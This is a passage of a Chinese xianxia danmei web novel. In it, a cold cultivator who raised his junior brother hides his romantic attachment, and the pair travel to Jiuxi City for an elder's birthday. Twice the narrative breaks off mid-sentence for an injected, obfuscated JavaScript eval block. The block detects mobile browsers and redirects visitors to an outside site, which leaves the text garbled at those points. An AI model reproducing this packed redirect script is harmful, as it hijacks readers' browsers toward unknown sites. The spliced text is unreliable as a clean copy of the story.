许采采愤愤握拳,然后做个深呼吸让自己冷静,又扔出一张传讯符催促对方: [算我求你,直接说重点啊!] 如此又等了好一会儿。 在许采采感知到山脚下结界波动,是他师兄回来了的时候,新的传讯符终于来了。 小药童慢吞吞的声音再次传出来: [好了好了,我这就说到重点了嘛。你师兄身体健壮得很,他不是来看病的,他来问我们谷主有没有拔除情根的方法,最后还拿走了一瓶绝情丹。] 许采采听完这段,原本焦急的神情褪去,全然变成了呆愣。 一时间,他的大脑又开始转不过来了。 话痨小药童的传讯符却还在继续。 [采采大哥,我真震惊,原来像你师兄这样的大冰块也会陷入爱情吗?] [还有,陷入爱情不丢人,你师兄他来要绝情丹做什么?难道要改修无情道啦?] 絮絮叨叨的声音说个没完。 但许采采抬眼望向从远处走近的熟悉身影,根本就听不进去了。 10. 十 微明峰的院落一年四季如春,绿意盎然,景致极好。 许采采一身青绿衣衫坐在郁郁葱葱的草木之间,与周遭景色浑然一体,像只从这片灵气充裕的天地间催生出的灵动精怪。 不过此刻,因为刚接收完传讯符送来的讯息,少年的神情仍旧呆呆的,显然是还没缓过神来。 他就坐在轻轻荡动的秋千上,看着他师兄很快走近。 两人对视上时,许采采的视线稍有闪躲。 他一向直言直语,这会儿与他师兄面对面,却莫名地犹豫了。 宋尽遥垂眼看他,皱眉轻皱:“怎么坐在这里发呆。” 说完,动作自然地抬手拂去落在少年发间的枝叶碎屑,又给人整理好稍显松垮的衣领,之后便去握许采采的手,打算牵着人回屋。 也就几步的路程,许采采很快在心里纠结完了。 他与他师兄之间,没什么是不能摊开说的。 许采采此刻心里充满了疑问,若是不问出来,他今晚压根睡不着。 “师兄。”刚走进室内,在宋尽遥松开手的时候,许采采又连忙探过去牵住了对方的手指。 少年皱着眉,神情严肃又认真:“我问了药王谷的人,知道你去拿了绝情丹,还想拔除情根。” 宋尽遥本是要去给他倒杯热茶,闻言神情未变,只停下了动作,垂眸与许采采对视。 许采采黑眸微颤,似是试探般,问出心中的猜想:“师兄,你为什么突然要吃绝情丹?是真的要改修无情道,还是……有了心仪之人?” 宋尽遥垂眼听着,灰白眼眸毫无波动。 不过,他像是完全没听进去许采采前面所说的内容,只应最后那句。 修士被牵住的长指痉挛般颤动了一下,嗓音冷淡地反问:“若是有,采采要怎样?” 许采采当即便被问住了。 他睁大眼睛,嘴巴也跟着微张,但一时根本答不上话。 除了震惊外,许采采此刻心中最强烈的感受竟是慌乱。 许是因为他从始至终过的,便是只有他们师兄弟二人的生活,从不曾有其他人加入。 所以许采采此前还当真从未想到过,他们两人中的谁今后也会与大多数修士一般,找个道侣成家。 当然,他师兄面对外人时太过冰冷的性格,也是其中的原因之一。 许采采思绪跑得飞快。 宋尽遥有了喜欢的人,那么对方会不会不喜欢他,还会跟他抢师兄? 还有,若他师兄真成了家,那肯定是不能再继续与他同住,而是要与道侣同住了。 许采采下意识地,视线颤悠悠地在这屋子里绕了一圈。 那到时候,他肯定要从他们师兄弟二人共睡的内室搬出去,把地方腾给他师兄和道侣。 不仅如此,师兄平日里总是那样事无巨细地照顾他,以后大概率是也没了。 照顾对象要换成道侣了。 许采采想着想着,心中便愈发苦涩,但他最后都给压了下去。 他不能做不懂事的师弟。 师兄把他从小抚养长大,为他做的早已足够多了。 他许采采无论如何,也不能忘恩负义,去耽误他师兄的终身大事。 于是愣神几息后,许采采喉结滚动,咽下喉间的闷堵感。 他抿了抿唇,做保证般,认真对宋尽遥道:“师兄放心,我当然会永远支持你。若我真有了嫂子,也一定会对嫂子好的!” 宋尽遥原本稍显明亮的灰眸一变,眉眼不受控制地往下压。 他转身走开,温茶去了。 …… 到了夜里该睡的时候,许采采躺在榻上,整个人比以往这个时辰精神好几倍。 他到底还是小孩心性,刚想到宋尽遥或许会有道侣时,便下意识觉得他师兄是要把给他的糖分给别人似的,所以心中难免不舒服。 但过了那一会儿,许采采便很快想明白了。 不管他与宋尽遥的关系有多亲密,他都不能霸占师兄手中全部的糖。 许采采从小是被宠大的,从不缺乏关爱。 所以想通后,他也愿意去分享、给予出更多的关爱。 接受了这点,许采采就不会对这个话题感到不自在了。 他又恢复了有什么就问什么的状态。 此刻师兄弟二人如往常般躺在榻上,许采采潜意识般,并没有凑过去趴在他师兄身上乱动,而是规矩许多地侧躺在了宋尽遥里侧。 两人之间隔了一只手臂的距离。 “不过师兄,你有喜欢的人明明是好事,为何却要吃绝情丹?”许采采仍惦记着这个,稍显担忧地问。 他在心中猜测,难道是师兄所喜欢的人,反而对师兄无意,这才导致他师兄为情所困? 宋尽遥仍是平躺闭目,闻言眼睫颤动,但语气平稳。 “我了解后,明白绝情丹害处过大,所以已不打算吃。” 许采采闻言连连点头:“那最好了。” 他也知道绝情丹这药很不常见。 越没人用的药越邪门,他师兄不吃当然是最好。 听着少年明显松一口气的语调,宋尽遥睁开眼,偏头去看许采采。 实际上,在长清宗甚至整个修真界,都有不少师兄弟在日常修炼中互生情愫,最终结为道侣的范例。 只要不影响修行,不妨碍他人,同门师兄弟之间谈情说爱,互相促进,反倒值得提倡。 但他与许采采,并非普通的同门师兄弟。 许采采五岁便来到他身边,由他亲手养大。 宋尽遥眼看着许采采由稚嫩孩童,一天天成长为如今这样意气风发的少年。 如此这般如父如兄的感情,却畸变为那些肮脏的心思,实在有悖道德伦理。 而且,最重要的是,会吓到许采采。 甚至还会摧毁宋尽遥在许采采心中的师兄形象。 这两者更是宋尽遥最无法接受的。 所以,修士在清晰地认识到自己的错误后,很快便开始想办法纠正。 宋尽遥这人,一向对身边之事控制欲极强,做事也是干脆利落,雷厉风行。 更何况,他不是没注意到,自己的异常已经影响到了总是分外关心他的许采采。 一开始,宋尽遥查询到的很多方法,无一例外都在建议他暂时远离许采采。 书中建议,情感上的冲动可以靠距离与时间冲淡。 但对宋尽遥而言,让他远离师弟,倒不如直接让他去死。 宋尽遥幼时便是独自一人艰难苟活,从挣扎活命到踏上修行之道,百余年间,他始终都只有他自己。 身边唯有一个许采采,宋尽遥早已把师弟当成了自己的一部分。 许采采就是他的双臂,他的心脏。 如果有什么事物试图迫使宋尽遥与许采采分开,那他定会先下手除掉对方。 这便是宋尽遥去药王谷找寻拔除情根的方法的原因。 但是,今日走这一趟,宋尽遥了解到无论是拔除情根的术法,还是服用绝情丹,都不可行。 这两者所断绝的,不仅只是道侣之间的情爱,而是一个修士所有的七情六欲。 包括师兄弟情。 如此,宋尽遥便也很快将这两个选择排除了。 他会继续去想别的办法。 宋尽遥心中情绪沉重,面上却没有显露半分。 他只是在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15251386|166399||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思索间,不知何时侧过了身,视线稍一落在许采采脸上,便没再能挪得开。 但因那双冰封般的双眸克制得太过,并未透出任何情绪,所以许采采便还以为他师兄只是在盯着他发呆呢。 而且,许采采的思绪比宋尽遥活跃多了。 他已经在心中认定他师兄就是单相思。 这样一来,宋尽遥半个月来的异常,便都解释得通了。 许采采平躺在床上,联想到什么,恍然大悟道:“你前些天总是隔三差五的就半夜消失,我当你是身体不舒服,现在一想,原来是思念心爱之人思念得睡不着啊。” 宋尽遥支着脑袋看他,闻言眉头轻皱。 却又因为被什么字眼戳中,喉结微动,并未出声否定。 许采采自言自语惯了,也不介意宋尽遥应没应他。 又想到居然有人不喜欢他师兄,许采采第一反应是对方很没眼光。 但细细一想,又觉得情有可原。 毕竟他师兄的个性,是太闷了些。 许采采这回严肃起来。 他原地翻了个身,支着身体趴在床上,这更方便他与宋尽遥对视。 “师兄,”少年正色道,“依我看,你的性情确实有些冷淡。” 回想着平日里看的话本,许采采认真建议:“你平日与心悦的对象相处,应该温柔一点,嘴甜一点,这样才能讨得人家喜欢。” 宋尽遥与师弟乌黑泛光的眼睛对视,灰白双眸闪动。 他喉间一滚,语气郑重地低声问:“采采希望,我温柔些?” 许采采笑起来,立刻肯定地点头。 “当然。” 他手心捧着自己的脸,趴在那里笑眯眯的,似是在回想什么。 “我最喜欢你每次温柔地哄我,我的脑袋会马上变得晕晕的。” 许采采将他师兄从上到下全部打量了一遍,继续道:“师兄,你长得好看,为人端正,修行上又那么优秀,若是再加上一条温柔,怎么可能不招人喜欢?” 许采采向来嘴甜,宋尽遥听得竟有片刻的失神。 不知不觉间,他双眸间的冰霜化开,还真浮现出几分温和来。 宋尽遥视线仍锁在许采采身上,愈发移不开了。 他压下心头炽热,将师弟的话牢记在心中。 但许采采很快就补上了最后一句。 “到时师兄再去讨嫂子的欢心,当然也是不在话下。” “……” 宋尽遥原本缓和下来的神情复又变得极为冰冷。 没有任何征兆的,许采采忽然感觉手臂被人牢牢钳住,他师兄直接捞着腰把他拽进了怀里。 脑袋埋在男人胸膛上,虽然不疼,但差点闷得许采采透不过气。 少年扑棱着双手胡乱挣扎,但强硬的怀抱丝毫不松。 宋尽遥只略一调整姿势,让他能喘得过气,便又把人抱紧了。 “师兄!”就这片刻功夫,许采采被折腾得脸都红了,“你做什么呢!” 宋尽遥把他按怀里,大掌在少年背后一点也不温柔地用力揉了揉。 泄火一般。 “你永远不会有嫂子。”修士缓出一口气,语气冷硬地开口。 被全方位压制的,脑袋懵懵的许采采:“啊……” 宋尽遥又想到什么,从储物袋里拿出那瓶绝情丹,当着许采采的面捏成碎粉扬掉了。 以体内真火一烧,渣都不剩。 “绝情丹一事,今后也不需再提。” 许采采神情呆愣,再次张口,欲言又止。 可惜脑袋又被他师兄按回颈窝。 宋尽遥强硬道:“天色已晚,不能再说话了,睡觉。” 11. 十一 许采采向来大大咧咧。 那天之后,什么“心仪之人”、“嫂子”、“绝情丹”之类的事都不再被提起。 又见宋尽遥重新恢复如常,不再有什么令人担忧的异样,许采采便很快将这场插曲丢到了一边。 又过去数日,宋尽遥接到了掌门委派的出宗事务。 在整个修真界久负盛名的九溪城是一座大城,城中不仅修炼资源丰富,供凡人生活的资源亦十分充足。 所以长久以来,在培养修仙人才的同时,富饶强大的九溪城也庇护了一方百姓,城中氛围安定团结。 九溪城内有数个大大小小的修真氏族以及门派,各个势力共同协作治理城邑。 而最终权力最大,在重大事务中掌握决定权的,便是实力最为强盛的萧氏家族。 因为距离过远,长清宗与九溪城早在许多年前就不再有什么利益往来。 但论人情,长清宗上任掌门与萧氏家族现任老族长曾为故交。 萧老族长宽厚仁慈,古道热肠,早年曾为建设长清宗费心费力。 所以每年萧老族长办寿宴,长清宗都会有所表示。 今年,经过掌门与各长老的商讨,这份任务便落在了宋尽遥身上。 被点名一同前去的还有谢问玉。 听到又要跟在宋尽遥身后办事时,谢问玉当即就十分不爽,一张脸拉得老长。 掌门时至今日,早已了解自己大弟子的脾性。 瞥见他这副模样,他没再直言嘱咐对方要多学习宋尽遥的办事能力,而是换了个委婉的说法。 “尽遥虽行事果断,处事干脆稳妥,但却不能面面俱到,”掌门拂拂胡子,语气殷切道,“此次前往九溪城参加寿宴,为表长清宗的重视,将有不少年轻优秀的弟子随行。 “你身为师父的大弟子,众师弟心中的好师兄,这管理照看众师弟、负责师弟们安危的重任,只得由你来担。 “且届时九溪城来客众多,定是人多杂乱之际,你们一行人人地生疏,你与尽遥更当互相协助。” 听完这番话,谢问玉顿时明白,这次离宗,不再是让他继续跟在宋尽遥后面学习。 而是宋尽遥反而需要他的帮助。 如此一来,谢问玉便顿时通体舒泰,昂首挺胸地接下了任务。 望着自己大弟子满意离去的背影,掌门松一口气,抹了抹脑门上因为苦苦思索措辞而冒出的汗。 而微明峰这边,许采采也在随行之列。 因为年纪尚小,所以除了宗门定期组织的外出历练外,许采采一直都极少出长清宗。 像这次这样十分正式的远程出行,更是从没有过。 在这之前,每次宋尽遥有任务,都是他眼巴巴地送宋尽遥出门,又眼巴巴地盼着师兄回宗。 许采采不是没撒泼打滚,缠着宋尽遥非要让人把他捎上过。 但宋尽遥的离宗任务大多都是降妖捉怪,无一不凶险万分。 所以无论许采采怎样撒娇,他都是狠心拒绝师弟,之后再想办法补偿哄人。 然而这次,与以往的危险任务不同,只是参加寿宴。 且九溪城是出了名的民风淳朴,所以行程中只需多加注意,便出不了什么意外。 这便是宋尽遥同意带上许采采的原因。 …… 离宗当日,一行人乘坐宗门提供的高阶法器飞舟出发。 长清宗是修真界第一大宗,次次派弟子出行的条件自然不会差。 一是不会亏待门下弟子,出门在外尽量为弟子们提供更好的协助;二是出行阵仗如何,也代表了长清宗的脸面。 高阶飞舟不需有人掌舵。 只需提供充足的灵石作为动力,且将带有九溪城气息的请柬传输进去,飞舟便会十分平稳地自行朝着目的地驶去。 至于飞舟内里,亦是十分宽敞舒适。 因为大小可依照需求自行调节,所以随行的数十名外门内门弟子,每一位都可以拥有自己独立的小间。 面积虽不大,但供单人休息绰绰有余。 飞舟在空中上升到一定高度,沿着线路稳定前行后,里头的人便几乎感受不到任何摇晃与颠簸。 众弟子们的旅程十分自在,大家都自觉地负责起各自的责任。 有的分发吃食,有的提供消遣玩乐,也有弟子会轮换着在飞舟周围巡视站岗,氛围和谐而放松。 许采采以前出行,宋尽遥会御剑带他,也会使用飞行法器载他,但乘坐飞舟还真是头一次。 许采采好奇心重,看哪儿便都觉得新奇。 少年凑在甲板上,撑着栏杆探手,乌发在身后浮动,手指能触碰到浮在眼前的云彩。 在甲板上玩了将近一个时辰,宋尽遥安排好事务过来,牵着手腕把许采采带进了船舱。 虽说飞舟外围有结界保护,飞驶中的冷风并不会吹到人。 但外界到底不如长清宗里纯粹干净,不能保证不会感受风邪。 舱内有供人休息的桌椅,宋尽遥带着许采采坐下,给人手里塞了一碗飞舟上配备的灵膏。 灵膏由稀有药草灵果炼制而成,具有快速净化补充灵力的功效,是十分难得的好物。 长清宗财大气粗,便以此作为宗门弟子出行时常备的吃食。 许采采捧着碗,只挖了两勺便不想吃了。 灵膏好是好,就是不怎么好吃,除了道涩涩的草药气息之外,便什么滋味都没有了。 且因为质地太稠,黏嘴得很,许采采一向不喜欢。 宋尽遥给人整理好玩闹间弄乱的长发,垂眸瞥见许采采又在挑食,便拉过椅子在师弟身旁坐了下来。 他总是像变戏法似的,一言不发地从自己储物袋里取出两袋许采采爱吃的甜糕与肉干来。 这可是飞舟上其他弟子都没有的。 看见是自己爱吃的零食,许采采一改无聊的神态,顿时就来了食欲。 少年亮起眼睛,一边说着谢谢师兄,一边扒拉着甜糕袋子,挑自己爱吃的口味去了。 宋尽遥就坐在旁边看着自己师弟。 那碗灵膏不知何时转到了他手上。 许采采吃两口甜糕,宋尽遥便在一旁,挖半勺灵膏给人喂到嘴边。 有甜糕的中和,再加上宋尽遥十分耐心地小口小口地喂,灵膏就变得容易下咽许多。 这般甜的吃腻了,许采采还能用肉干解腻,他一时便吃得不亦乐乎。 一碗灵膏好不容易快哄着人吃完的时候,谢问玉闲来无事,也晃晃悠悠来到了这边船舱。 他本来是履行自己管理众弟子职责,亲自四处巡视的。 巡视完想着进舱里坐下歇歇,谁知一只脚刚踏进,便看见宋尽遥一手拿碗,一手执着盛了灵膏的勺子,正静等许采采咽下口中的茶水。 谢问玉当即惊呆在了原地。 平日在长清宗,因为将宋尽遥看做竞争对手,总是喜欢将自己与对方比较,所以谢问玉没少暗中关注宋尽遥的成绩与修为。 甚至连宋尽遥手中有多少法宝灵石,谢问玉都在失眠时无聊地计算过。 直到得出宋尽遥肯定没他家有钱的结论,他才肯去睡。 但再怎么样,谢问玉从没对宋尽遥的个人生活方式有过丝毫兴趣。 所以这时能亲眼目睹宋尽遥与许采采在私下里相处的场景,于谢问玉而言还真是头一回。 他睁大眼睛呆愣了好一会儿,险些没惊掉下巴。 而那边坐着的两个人里,宋尽遥只靠气息便知来人是谁,所以视线都不曾从许采采身上挪开。 倒是许采采,被谢问玉这幅奇怪模样弄得一头雾水。 谢问玉消化完了,才有所反应,顿时饶有兴致地笑了起来。 他绕着许采采和宋尽遥用的桌子来回踱步。 “真想不到啊宋尽遥,你居然还有这样伺候人的时候?” 谢问玉用手里的折扇敲敲下巴,语气故意道:“要我说,贴身侍从也没有这么伺候主子的吧?怎么吃个灵膏还要一勺一勺地喂?” 说完,他又凑到还没反应过来的许采采身边。 这次看向许采采的眼神,里头的欣赏几乎要溢出来了。 “采采,你是真厉害,”谢问玉极少这么由衷地夸奖一个人,“告诉我,你用了什么法子让宋尽遥这般听你使唤?” 许采采这会儿终于知道他在惊讶什么,顿时变得十分不自在。 他下意识地,伸手便去夺宋尽遥手里的那半碗灵膏:“……师兄,我自己吃。” 可宋尽遥却没松手。 那只碗被他用两根指节拿在手里,许采采愣是没夺动半分。 方才听谢问玉吵吵闹闹说了那么多句,宋尽遥的神情变都没变。 这时见对方惹得许采采不给喂了,宋尽遥却立刻皱起眉,眸色极冷地瞥向谢问玉。 谢问玉这会儿心情极好,并不想打架。 宋尽遥窝窝囊囊伺候人的样子,看得他心里异常舒服。 于是他连忙笑着抬手示好,一改往日次次都非要与宋尽遥争个高低的模样,自觉往后退开了:“你们继续,继续。” 说着,又没忍住站在舱门处,抱臂继续欣赏一番。 多看了两眼后,谢问玉忽的眉头一皱,脑海中冒出一个古怪的念头。 许采采与宋尽遥这般亲密相处的画面,不知为何,居然让他想起了家中十分恩爱的父亲与母亲。 联想到这里的时候,谢问玉忽的整个人一抖,起了满身的鸡皮疙瘩。 他痛苦地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15251387|166399||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咧嘴:“真是救命,我爹娘都没你们师兄弟两个腻歪!” 说完,像是再也待不下去似的,不待人赶,便自己扭头迅速跑掉了。 咋咋呼呼的人离开,舱内顿时间又恢复安静。 许采采呆坐在原处,垂着眼,脸颊耳朵不知道什么时候变得通红。 如果不是谢问玉这番玩闹,他此前还真的从未注意过。 少年的神情颇为苦恼。 现在这么一想,他与他师兄的相处方式……似乎真的很不正常。 许采采拧着眉,脑袋里飞速过一遍,最后发现找遍整个长清宗,似乎也没有哪对师兄弟会像他们这样。 而且…… 谢问玉最后那句话也像个小石子似的,在许采采心中扔出一圈圈荡动的涟漪。 父母离世时,他已有五岁,已经能保留一些印象深刻的回忆。 一幕幕温馨的画面闪过。 许采采记的清楚,他的父亲母亲亦是恩爱非常的。 经由谢问玉的提醒,许采采甚至能记起他幼时坐在娘亲腿上,爹爹喂他一小口米粥,便会喂娘亲一大口米粥的场景。 思绪纷飞,又联想到宋尽遥平时为他穿衣,为他束发……这般数不清的亲密无间的情景,似乎也都能找到对应。 许采采脸颊烧红,心中强烈的别扭感一时令他坐立难安。 他和他师兄的相处,似乎真的一点都不像正常师兄弟。 于是沉默半晌后,许采采抬眸看向宋尽遥,小声地开口:“师兄,我已经长大了,你以后别再惯着我了。” 他只当是自己刚成为宋尽遥的师弟时,还是个什么都不会小屁孩,所以他师兄不得不日复一日,年复一年地细心照看他。 一直维持到了现在,也一定是因为太过习惯,两人都没想起来要改。 宋尽遥一直垂眼看着他,几乎是毫不停顿地否定:“不必在意他人的话。” 许采采闻言却将眉头皱得更深了。 “谢问……谢师兄方才那么说,你没有不高兴?” 说什么他师兄比侍从还会伺候人,许采采听着都很不舒服,心里感到羞愧极了。 让他发觉自己的确是被惯得很过分。 “我为何会不高兴?” 宋尽遥却颇为不解。 他皱着眉,想不通许采采在介意什么。 同时在脑海中把谢问玉所说的话回想了一遍,甚至还觉得都挺顺耳。 谢问玉这人,有时也不是那么讨人嫌。 许采采呆愣,反倒被他师兄问住。 少年一时张了张嘴,答不上话来。 宋尽遥垂眸看向他,再次重复道:“你我师兄弟二人之间,不需他人来指点。” 他语气极为平静,言语利落。 似乎让许采采陷入纠结疑虑的东西,于他而言算不上任何烦恼,不需有丝毫考虑。 说完,修士抬起指腹,给师弟擦粘在唇上的茶渍。 因刚刚饮过热茶,许采采双唇润红,触起来温热软腻。 少年还有些出神,再次开口说话间,唇齿张开,有一瞬间含住了按在唇上的微凉指尖。 指节一僵,身侧的人呼吸陡然收紧。 宋尽遥眸色都跟着沉了沉。 不过许采采压根注意不到,他还烦恼着呢。 “师兄。”少年皱眉抬眼,声音仍旧低低的,好似犯了多大的错。 “你每天都这样照顾我,真的不嫌麻烦吗?” 宋尽遥原本有些出神。 许采采这话把他汹涌掀起的情欲生生浇灭,令他严肃地冷下脸来。 “为何会这么想?” 修士的眼神重又变得十分不解,甚至带上了些许偏执。 “我从未说过这是麻烦。” 宋尽遥情绪淡漠,在别的方面或许会反应迟钝些。 但一旦许采采有任何想要推开他、拒绝他、与他保持距离的意图,宋尽遥就会如嗅到血腥味的野狼一般,极为敏锐地立刻警觉。 他的神情变得固执且冷硬,灰白的一双眼紧紧锁住跟前的人。 “采采,别再乱想,”男人揉着师弟柔顺的发顶,语气毫无波动与人强调,“师兄会永远这样待你,也只有师兄可以,采采能记住吗?” 许采采很迟缓地眨眼,仍有些发愣。 他心中还是隐有顾虑。 似乎觉得越是这样,便越是有哪些地方不太对。 但宋尽遥不容忽视的炽热视线落在身上,几乎让他无法思考了。 许采采在心中挣扎片刻,只好轻轻地点了头。 宋尽遥见状,便满意了。 “很乖,”他总算移开视线,垂眼又挖一勺灵膏送到许采采唇边,低声地哄,“采采,张嘴。” 12. 十二 三日后,长清宗的飞舟抵达了九溪城中心城区。 九溪城地下灵脉脉络丰富,与当地河流走向相似,这便是该城定名为九溪的缘由。 宋尽遥与许采采一行人抵达时,中心城区已经聚集了从五湖四海赶来祝贺的各路修士,城内城外皆热闹非凡。 一早得知长清宗的弟子会在这时抵达,萧老族长早早便在府中等候待客。 并不是寿宴当日,所以萧府中并没有停驻多少来客,几乎与平时一样宁静有序。 宋尽遥带领着许采采,以及一行宗门弟子进入面积宽阔的接待大堂。 刚一走进,萧老族长便拄着拐杖面带笑容地迎接上来。 萧老族长年岁极高,须发尽白,慈眉善目。 实际上,在强者林立的修真界中,温顺和善的萧老族长在修行上不算突出,只因其乐善好施、与人为善,所以颇受各界敬重。 只不过,即使修行再不突出,萧老族长也是常年修炼的大能。 可对方刚走近,许采采等人便都注意到,老者拄着拐杖的身形颇为不稳,面色亦是十分憔悴。 为招待他们一行人,老族长面上皱纹间挤出笑容,浑浊双眸泛着点点亮光,却更像是在强撑。 心中觉得有异,但一行人并未多言。 宋尽遥牵着许采采,与谢问玉各自上前介绍寒暄。 得知谢问玉是长清宗当今掌门亲传大弟子,而江执道唯有的两位亲传弟子都来为自己庆生的时候,萧老族长笑得连连点头。 欣赏后辈的目光落在一行弟子身上,老族长嗓音微哑,语气轻缓。 “好,只看着你们这些顶天立地的年轻人,我心中便十分欣慰。你们定要好好守护长清宗,护一方安宁。” 老人神情殷切,众人当然是立刻点头应和。 之后又各自坐下,老族长关切地向宋尽遥与谢问玉询问长清宗的现状。 正闲聊之际,大门处传来轻微的脚步声,一白袍青年由侍从引导,缓步走进大堂。 那人一身素白薄衫,手中亦执着一根细细拐杖。 他相貌清雅白净,只是双眼由一道两指宽的白绫遮住,行走间脚步迟缓,需在手杖与随从的协助下前行。 来人的出现引起了众人的注意,待他在宋尽遥等人对面坐下后,老族长才开口介绍。 “这是我儿,名唤阅霜。” 话落,萧阅霜面朝着长清宗弟子所在的方向,不失礼节地浅浅一笑。 许采采他们倒是听说过萧老族长有一爱子。 且因为是老族长唯一的孩子,所以老族长十分注重对萧阅霜的教育,从小将其带在身边读书修行。 时间长了,萧阅霜也以父亲为榜样,养成了嫉恶如仇的性子,最热衷于惩恶扬善。 据说早年间,一旦有难缠的妖修魔修在九溪城附近作怪,萧阅霜定是第一个赶到的。 看出众人的关心与疑惑,老族长并不忌讳,简单介绍了原因。 原是在十多年前,萧阅霜在与擅长使用瘴气的魔修缠斗时,不慎被伤了眼睛。 魔修所练的瘴气并非普通邪气,老族长为儿子寻遍医修也无法治愈,一双眼就这么废了。 原本,虽无法视物,但萧阅霜还可以借助自身灵力感知外界。 但也就是一个多月前,在又一次为九溪城驱逐魔修的过程中,萧阅霜不幸身受重伤,坠落悬崖。 那时,大家都以为他已经丧命。 可悲痛万分的老族长无论如何也不肯放弃,在崖下找寻了三天三夜,最终还真找回了满身是血的儿子。 只是回来后,萧阅霜因重伤难愈,修为折损,暂时无法再动用灵力,这才与眼盲的凡人没什么两样。 而萧老族长在这一个多月里经历大起大落,又为儿子的伤耗尽了心力。 许采采听完,心中替人难过,这时也明白老族长为什么会这样憔悴了。 大家听完这些,心中都不好受。 他们又是心疼萧家父子,又是痛恨作恶的魔修,气氛一时十分低沉。 幸而谢问玉能说会道,又因为本就出身这样的大家族,十分擅长哄长辈高兴。 所以很快就用几句话的功夫,轻轻掀过这篇,又聊得老族长面上流露出笑意。 许采采坐在宋尽遥身边,因为刚坐下那会儿有点紧张,所以还一直在桌下跟他师兄牵着手。 他没那么容易从方才的话题中抽离,一直不由自主地看向远远坐在对面的萧阅霜。 对方双眼蒙着白布,无法视物的模样,让他不得不联想到自己的师兄。 许采采是在六七岁时,才得知宋尽遥曾患眼盲症的。 那时正是他跟宋尽遥彻底不再生疏,变得亲密无间的时候。 小孩子直到这时,才敢无所顾忌地问出一直好奇的问题。 他很想知道他师兄眼睛的颜色为什么和大家的不一样。 浅浅的,透透的,像冰玉,又像银白的珍珠。 宋尽遥当时把他抱在腿上喂饭,只苦恼怎么才能哄师弟多吃几口,闻言便语气冷淡,像在回答一件极不相干的事答道。 “幼时生病,才会如此。” 许采采那时还小,呆愣愣的。 不是很懂,但也不知道该怎么继续问了。 直到十几岁,他缠着师尊打听好几次,才总算清楚了解了宋尽遥幼时的经历。 宋尽遥出生于凡间的富商一家,因富甲一方,所以家族亦算有权有势。 原本,因为上面几个孩子资质平平,所以父母便一直对尚未出生的宋尽遥寄予厚望,希望能培养出一个优秀的继承人。 但当发现宋尽遥出生便双目无神,患有眼盲之症后,父母两人当即便心情凝重,大失所望。 不过,因家中条件优越,所以他们并没有立刻放弃,而是四处寻医为宋尽遥医治。 但娘胎里带出来的先天病症,凡间医者极难医治。 屡屡失败后,宋尽遥的父母二人便变得极为焦虑烦躁。 后又碰上巫医。 在找不出治愈之法后,那巫医竟断定襁褓中的婴儿为上界降临的大凶之兆,定会为家族带来灾祸。 从商之人最重吉凶风水之说,宋尽遥的父母大惊失色,当即便彻底放弃了宋尽遥。 他们将仅仅出生两三个月的婴儿锁进极为偏远的杂院中,只安排几个奴仆守在附近,定时进去喂食。 而两位亲生父母,则因为害怕染上祸患,从此没再来看过一眼。 没彻底断掉宋尽遥的生路,于他们而言似乎已经仁至义尽。 宋尽遥就这样艰难存活。 宋家夫妇狠心将亲生儿子遗弃的事传得很远。 以讹传讹,到最后,并不知晓内情的人们都将宋尽遥认定为极为可怕的灾星。 就连给他喂食的奴仆,回回踏进杂院都嫌晦气。 所以宋尽遥几乎是从有意识起,便是独自一人。 等他有了自理能力,能行走觅食后,连唯一定期送食的奴仆便也不知所踪了。 没人知道宋尽遥是如何瞎着一双眼,从只会爬的孩童长成青年的。 也正是因为这段无法磨灭的儿时经历,形成了宋尽遥如今情感淡漠、固执独裁的秉性。 因为从没有受人关照的记忆,从不曾感知过来自外界的情感,所以自然也生不出那些东西。 长达十几年的时间里,宋尽遥一直认为人与人之间本就该毫不相干,彼此冷淡。 倘若能看见其他幼童是如何受父母宠爱的场景,宋尽遥或许还会心生疑惑,感到不公,或是对自己的父母心存愤懑与委屈。 可他偏又是个被锁在杂院中的瞎子。 看不见,便也不知道自己亦需要那些疼爱与帮助。 就这般长至少年。 许是艰苦的环境颇为磨练心性,许是宋尽遥天分过于出众,他竟在无人点拨的情况下,生出神识,自行练气。 后为求进一步修炼,十几岁的宋尽遥便果断踏出了杂院的大门,开始去外界探索修行之道。 他瞎着一双眼,又负有灾星的名声,没少遭到来自外界的恶意。 同时也终于逐渐察觉,世间百态与他所认为的截然不同…… 许采采当时听完师尊的讲述后,根本不敢去想那么漫长的时间里,他的师兄该经历多少次茫然与绝望。 他那时急匆匆地拜别师尊,就跑去找宋尽遥。 十岁出头的少年扑进师兄怀里,扒着衣服一边哭一边抬腿往上爬。 宋尽遥托着将人抱起,许采采便埋头在他颈弯里失声痛哭,几乎要喘不过气。 他心疼他师兄,说要是师兄小的时候,自己能在师兄身边就好了。 宋尽遥听不进他的傻话,亦不知道自己那些陈年旧事有什么值得许采采伤心的。 他只被师弟哭得整颗心都揪着疼。 到最后,还是宋尽遥手忙脚乱地哄人。 对于宋尽遥从前的经历,他自己并没有任何感觉。 但许采采却每次想起,都会心中泛疼,沉浸在低落的情绪中。 所以这时被萧阅霜唤起回忆,许采采不由愣愣失神,连带着停留在萧阅霜身上的视线也久了些。 久到萧阅霜似是都有所察觉,稍显茫然地偏转面庞找寻视线来源。 许采采尚未来得及反应,眼睛忽的被一只大掌捂住,视野顿时变得一片黑暗。 宋尽遥扶着脑袋让他转向自己,才松开手。 